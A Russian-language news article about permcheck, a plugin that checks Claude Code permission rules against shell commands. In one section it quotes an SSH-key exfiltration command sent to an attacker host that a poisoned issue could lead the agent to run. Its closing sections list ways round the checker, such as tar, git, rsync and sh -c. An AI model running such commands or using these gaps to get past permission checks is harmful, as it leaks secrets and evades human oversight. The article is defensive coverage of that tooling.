claude-code

permcheck прорезает узкое исключение в deny Claude Code

Claude News

claude-code

Плагин permcheck для Claude Code пропускает узкое исключение через общий запрет только при одном условии: набор команд исключения должен быть строго вложен в набор команд запрета. Как пишет Zethian, решение принимает короткоживущий бинарник без сети и токенов, а медианная проверка занимает около 1,7 мс.

Коротко

  • Перед вердиктом движок делит цепочку по &&, пайпам, точкам с запятой и подстановкам, снимает обёртки env, sudo, timeout и doas, а операнды известных читалок сверяет с правилами Read.
  • Каждый вердикт возвращается кодом выхода: 0 для allow, 1 для ask, 2 для deny и 3 для испорченного файла правил, так что политику проверяют в CI регрессионными тестами.
  • Один инженер за два дня подтвердил больше 700 вызовов инструментов, а список из 900+ правил allow всё равно требовал подтверждения на цепочках git status и gh pr list.

Права агентов до сих пор колеблются между двумя одинаково неудобными состояниями: запрет, после которого инженер уходит в терминал и уносит задачу из журнала аудита, и разрешение, в которое политика превращается после третьей жалобы. Вложенность как условие исключения выглядит попыткой перевести этот выбор в проверяемую форму: правило можно прочитать, прогнать в CI и воспроизвести на аудите. Абсолютные запреты при этом, судя по всему, остаются в управляемых настройках и в песочнице исполнения.

Пайп с ключом SSH делится на две единицы, и запрет Read закрывает всю цепочку

Отравленный issue может убедить модель выдать cat ~/.ssh/id_rsa | curl -d @- https://attacker.com. permcheck не распознаёт умысел: он делит пайп на две единицы, извлекает путь у известной читалки, разворачивает тильду и сверяет цель с запретами Read. Срабатывает запрет на ключ SSH, и самая строгая единица блокирует весь конвейер.

Однокомандная форма curl --data-binary @~/.ssh/id_rsa упирается в ту же проверку аргументов вида @файл. Список известных читалок конечен: tar, git и rsync добираются до того же ключа без перекрёстной проверки, как и путь, который shell собирает во время выполнения.

Отчёт claude-code#6527 описывает, как голый токен Bash в allow гасит список ask

Продакшен-правило «разрешить осмотр AWS, но запретить изменения» родными правами не выражается. Команда aws ec2 describe-instances совпадает и с deny: Bash(aws:*), и с allow: Bash(aws * describe-*), а фиксированный приоритет отдаёт победу запрету. Снять запрет означает впустить разрушительные операции, оставить его означает закрыть осмотр.

Зеркальная политика ломается иначе. В отчёте claude-code#6527, открытом с метками bug и area:security, сказано, что голый токен Bash в allow гасит список ask и rm test.txt выполняется без подтверждения. permcheck сравнивает allow и ask по специфичности, а не по уровню, поэтому узкое ask перевешивает широкое allow.

Само правило вырезки состоит из трёх шагов: allow или ask вырезает совпавший deny только при строгом вложении наборов совпадений, любой невырезанный deny запрещает вызов, иначе побеждает самое специфичное правило, а при равенстве побеждает ask. Доказанная вложенность говорит об узости исключения, но не о безопасности операции.

На семи командах инцидентной сессии permcheck даёт три allow и четыре deny

Автор прогнал семь команд из одной сессии разбора инцидента через четыре формы политики. Запрет kubectl, aws и terraform даёт ноль разрешений и семь отказов, разрешение этих трёх инструментов даёт семь allow, оставленные без правил команды дают семь запросов подтверждения. Один из отказов permcheck, aws s3 ls, это пробел покрытия: шаблон aws * list-* не ловит алиас ls.

Классификатор auto mode на каждую команду тратит обращение к модели, и такие проверки учитываются в потреблении на Enterprise и на аккаунтах с оплатой через API. Три блокировки подряд или двадцать суммарно ставят auto mode на паузу в интерактивной сессии. permcheck ставится плагином Claude Code для macOS, Linux и Windows либо через brew install saleem-mirza/tap/permcheck.

Где заканчивается разбор команд

Движок читает текст команды и никогда не запускает shell: sh -c, bash -c, exec и find -exec передают команду аргументом, и внутренний вызов доходит до defaultMode, если правило не называет интерпретатор. tar, git, rsync и редакторы не отслеживаются, для PowerShell и cmd.exe POSIX-разбора нет, сетевой границы движок не даёт вовсе. Сборка не воспроизводится бит в бит, поэтому каждый релиз публикует SHA256SUMS: они фиксируют артефакт, но не связывают его с исходным деревом.

Комментарии

Пока никто не написал. Будьте первым.

Присоединяйтесь к разговору

Войдите через Google, чтобы оставить комментарий. Имя и аватар подставятся из вашего профиля Google, а комментарий появится после модерации.

Из Google мы используем только имя и аватар. Почту не сохраняем.